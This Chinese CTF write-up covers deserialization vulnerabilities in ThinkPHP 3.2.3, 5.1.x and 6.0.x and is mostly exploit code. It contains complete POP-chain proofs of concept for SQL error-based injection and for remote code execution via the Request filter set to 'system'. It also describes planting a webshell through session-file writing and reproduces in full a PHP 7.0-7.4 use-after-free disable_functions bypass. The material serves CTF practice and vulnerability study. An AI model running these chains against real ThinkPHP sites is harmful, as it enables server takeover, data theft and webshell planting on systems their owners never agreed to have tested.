thinkphp反序列化漏洞
Thinkphp3.2.3
环境搭建
composer一把梭,可参考文章
composer create-project topthink/thinkphp=3.2.3 tp3
之后访问
localhost/tp3/
即可
漏洞复现
找起点,\tp3\ThinkPHP\Library\Think\Image\Driver\Imagick.class.php
其中$this->img是可控的,调用了destroy函数,这里全局搜索,跟进到\tp3\ThinkPHP\Library\Think\Session\Driver\Memcache.class.php
,
其中的$this->handle和$this->sessionName是可控的,然后调用了delete函数,跟进到ThinkPHP/Mode/Lite/Model.class.php
调用了getPk函数
$this->pk可控,所以$pk是可控的,接着看下面
再次调用delete函数,这次跟进到ThinkPHP/Library/Think/Db/Driver.class.php
关键的是这段代码
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM ' . $table;
...
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
$sql是由'DELETE FROM '与$table拼接而来的,而$table等于的是调用了parseTable方法后的值
跟进parseTable方法
调用了parseKey方法,跟进
直接返回$key,退回到ThinkPHP/Library/Think/Db/Driver.class.php
中的delete方法
最后调用了execute方法对$sql进行处理
跟进一下
调用了initConnect方法,跟进
调用了connect函数,跟进
这里使用了$this->config去创建数据库的连接,所以在mysql类下配置好数据库的配置即可
梳理一下思路
//ThinkPHP/Mode/Lite/Model.class.php
protected $data = array();
protected $pk = 'id';
...
$pk = $this->getPk();
return $this->delete($this->data[$pk]);//$pk可控,$this->data可控,所以$this->data[$pk]可控
//ThinkPHP/Library/Think/Db/Driver.class.php
public function delete($options = array())//这里的$options就是上面的$this->data[$pk],可控
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM ' . $table;
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
protected function parseTable($tables)
{
if (is_array($tables)) {
// 支持别名定义
$array = array();
foreach ($tables as $table => $alias) {
if (!is_numeric($table)) {
$array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
} else {
$array[] = $this->parseKey($alias);
}
}
$tables = $array;
} elseif (is_string($tables)) {
$tables = explode(',', $tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',', $tables);
}
protected function parseKey(&$key)
{
return $key;
}
对于整个执行过程可以看下面的例子,很好懂
<?php
class wind
{
public $data = array();
public $pk;
public function test()
{
$pk = $this->pk;
return $this->delete($this->data[$pk]);
}
public function delete($options = array()) //这里的$options就是上面的$this->data[$pk],可控
{
$table = $this->parseTable($options['table']);
var_dump($table);
}
public function __construct()
{
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "test sql",
);
}
public function parseKey(&$key)
{
return $key;
}
public function parseTable($tables)
{
if (is_array($tables)) {
// 支持别名定义
$array = array();
foreach ($tables as $table => $alias) {
if (!is_numeric($table)) {
$array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
} else {
$array[] = $this->parseKey($alias);
}
}
$tables = $array;
print_r($tables);
} elseif (is_string($tables)) {
$tables = explode(',', $tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',', $tables);
}
}
$a=new wind();
$a->test();
//输出结果:
string(8) "test sql"
所以我们可以构造
$this->data[$this->pk] = array(
"table" => "name where 1=updatexml(1,user(),1)#",
"where" => "1=1"
来进行报错注入
最后的POC
<?php
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "root", //数据库名
"hostname" => "127.0.0.1", //地址
"hostport" => "3306", //端口
"charset" => "utf8",
"username" => "root", //用户名
"password" => "root" //密码
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "name where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
在入口文件处添加如下代码以测试,在实际应用中,就是因为出现了可利用点,才能通过漏洞进行一系列操作
IndexController.class.php
public function index()
{
unserialize(base64_decode($_GET[1]));
}
实战演练
BUU [红明谷CTF 2021]EasyTP
启动题目
一张图片,查看源码,没发现特殊的地方,dirsearch扫目录,发现www.zip文件备份
down下来,发现是tp3.2.3,访问localhost/tp3.2.3以生成本地文件,来到\tp3.2.3\Application\Home\Controller\IndexController.class.php
,
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
$this->display();
}
public function test(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
}
}
直接使用test方法,因为index方法还调用了display函数,这个题只是改了首页即IndexController.class.php,更改其利用方式为php://input
,其他和上述讲的完全一样
POC
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => true,
"database" => "mysql", // 可换成任何一个存在的库
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root" // BUU下的密码为root
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
//前面的查库查表就不在这儿一一写了
"table" => "mysql.user where updatexml(1,concat(0x7e,substr((select`*`from`flag`),1,30),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
更改substr截取的值即可获得后半段flag
Thinkphp5.1.x
Thinkphp 反序列化利用链深入分析 (seebug.org)
环境搭建
composer一把梭,不会的可参考文章
composer create-project topthink/think=(输入你想要下载的版本) tp5.1(文件夹的名称)
漏洞复现
反序列化漏洞一般是通过多种魔术方法的自动调用,从而构造pop链,实现getshell
一般以__destruct
或者__wakeup
作为起点。
全局搜索__destruct,最终来到/thinkphp/library/think/process/pipes/Windows.php下的__destruct
public function __destruct()
{
$this->close();
$this->removeFiles();
}
调用了两个函数,跟进close函数,最终发现不可控,再跟进removeFiles函数
$this->files可控
所以,到这里就可以利用反序列化漏洞执行任意文件删除了
POC
namespace think\process\pipes;
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = ['文件路径']
}
}
$a = new Windows();
echo base64_encode(serialize($a));
同时,我们注意到在removeFiles()
中使用了file_exists
对$filename
进行处理。
跟进file_exists函数
发现$filename会被当做字符串处理,所以,当我们令$filename为一个对象时,这时就会自动触发__toString魔术方法
接下来全局找__toString方法
跟进到\thinkphp\library\think\model\concern\Conversion.php
跟进toJson方法
跟进toArray方法
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
其中有用的是这一段
看到这里
$relation->visible($name);
其中,如果$relation可控,且visible($name)可控,那么就可以当作跳板,去调用visible或者__call方法
好,现在来看,其中$this->append可控
先看看能不能绕过所有判断,进入$relation->visible($name)这一步
调用了getRelation,跟进
其中$this->relation可控
很容易构造返回为空,使得if (!$relation)
成立
跟进getAttr
跟进getData
其中$this->data可控,$name为$this->append
的键名$key,可控,所以返回的值可控,所以$value可控,所以相当于$relation =$this->data[$key]
,因此$relation完全可控,而$relation->visible($name);
中的$name是foreach ($this->append as $key => $name)
中的键值,也是可控的,所以$relation->visible($name);
整个都是可控的
需要注意的是Conversion和Attribute这两个类定义的时候都是用的trait
所以我们需要找到一个子类同时继承了Attribute类和Conversion类。最终来到\thinkphp\library\think\Model.php
然后我们全局寻找visble方法,最终发现都不可用
所以我们需要找一个类,这个类中要没有visible方法,且要存在__call方法
来到/thinkphp/library/think/Request.php
这里发现call_user_func_array函数可以利用从而执行system
(1)普通使用:
function a($b, $c) {
echo $b;
echo $c;
}
call_user_func_array('a', array("1", "2"));
//输出 1 2
(2)调用类内部的方法:
Class ClassA {
function a($b, $c) {
$a = $b + $c;
echo $a;
}
}
call_user_func_array(array('ClassA','a'), array("1", "2"));
//输出 3
但是这里的$method是前面的visible,不可控,而$args是之前的$name可控,但是array_unshift($args, $this)
把$this
插入到了$args
的最前面,导致system不可用
array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头。
新思路(变量覆盖)
在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
找到filterValue函数
需要利用这里的$value = call_user_func($filter, $value),但是$filter
和$value
都不可控,需要找到可以利用$value
的地方。
最终找到这个类的input方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
其中input函数的参数$data不可控,继续找一个调用input
函数的地方。找到了param
函数。
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
参数依旧不可控
继续找调用param
函数的地方。找到了isAjax
函数
其中$this->config['var_ajax']
可控,意味着param
函数中的$name
可控。param
函数中的$name
可控就意味着input
函数中的$name
可控。
所以$this->param
是get参数可控
之后再input函数中
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
array_walk_recursive函数
对数组中的每个元素应用用户自定义函数
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。用户自定义函数的名称。 |
parameter,... | 可选。规定用户自定义函数的参数,您可以为函数设置一个或多个参数。 |
这里利用array_walk_recursive函数来调用filterValue方法,其中作为参数的$filter是通过getFilter方法得到的
其中$filter=$this->filter可控
所以
array_walk_recursive($data, [$this, 'filterValue'], $filter);
$data
,filter
都彻底可控了,即$value = call_user_func($filter, $value)
,回调函数和参数都可控,即可构造POC了。
POC
<?php
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'ghost'=>new Request()
);
$this->append=array(
'ghost'=>array(
'test'=>'test'
)
);
}
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
'var_ajax' => '',
];
public function __construct(){
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
ThinkPHP6任意文件操作漏洞分析
环境搭建
phpstudy+thinkphp(<=6.0.0版本<=6.0.2) + php7以上
thinkphp6只能利用composer下载,不会下载的可以参考文章
composer create-project topthink/think=6.0.0 tp6.0
下载完成后访问localhost/tp6.0/public/生效
至此环境搭建完毕
漏洞剖析
首先看看官方信息
可以看到官方对src/think/session/Store.php中在id设置时多增加了一个函数,因此猜测可能是在存储Session时导致了文件写入
所以我们来到vendor/topthink/framework/src/think/session/Store.php,对save()方法中的write函数进行跟踪
vendor/topthink/framework/src/think/session/driver/File.php
又调用了writeFile函数,跟进
vendor/topthink/framework/src/think/session/driver/File.php
发现file_put_contents函数,果然是能写入文件的操作
反向分析一下:
file_put_contents($path,$content,LOCK_EX)中的参数$path,$content来源于writeFile($path,$data)
writeFile($path,$data)中的参数$path,$data来源于write(String $sessID,String $sessData)
write(String $sessID,String $sessData)中的参数$sessID,$sessData来源于save()中调用了write()
所以最终推导出文件名就是来自于getId()得到的$sessionId的值
结合setId和getId,发现:
当传入的id值长度为32时,创建sessionId,然后进行gitId()
那么接下来就应寻找调用setID的地方,发现在vendor/topthink/framework/src/think/middleware/SessionInit.php
对这里的getName进行追踪发现,$cookieName=PHPSESSID
而$sessionId是
cookie中名为PHPSESSID的值,因为sessionId是攻击者可控的,从而导致写入的文件名可控
而写入的内容是创建session使用的内容。但是session的内容是由实际的后端业务逻辑来决定的,况且默认环境下并没有创建session。因此,默认环境下无法做到任意文件写入。想要做到任意文件写入的条件是非常苛刻的
如果要getshell的话,后端需要有类似的Session::Set('name',$_POST['abc'])
代码才可以实现
同时,在进行深入分析后,发现还可以实现任意文件删除,且文件删除对后端业务逻辑依赖较低。
题目实战
[GYCTF2020]EasyThinking
这里通过dirsearch进行目录扫描能获取到www.zip下载即可获得源码,这里就不分析了,就是利用上面的漏洞变化出来的
启动题目,在注册账号登陆时,用bp截包,将session长度改为32位的php文件
之后登录,进入搜索界面,写入一句话木马
点击搜索后,便成功写入,
这里简单说一下,因为发现网上关于为什么在搜索框处写入木马都没有介绍
下载源码后,发现
app\home\controller\Member.php
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}
}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}
这里的search函数会把搜索框POST数据存到session文件里面
文件路径是
runtime/session/sess_123456789123456789123456789a.php
用蚁剑连接
在根目录下发现flag
但是还需执行readflag才能获取
这里直接上github上的脚本
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("/readflag"); //将这里的命令改成/readflag即可
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
接着将其上传到/var/www/html/runtime/session/下,即我这里的1.php文件
之后在访问1.php文件即可获得flag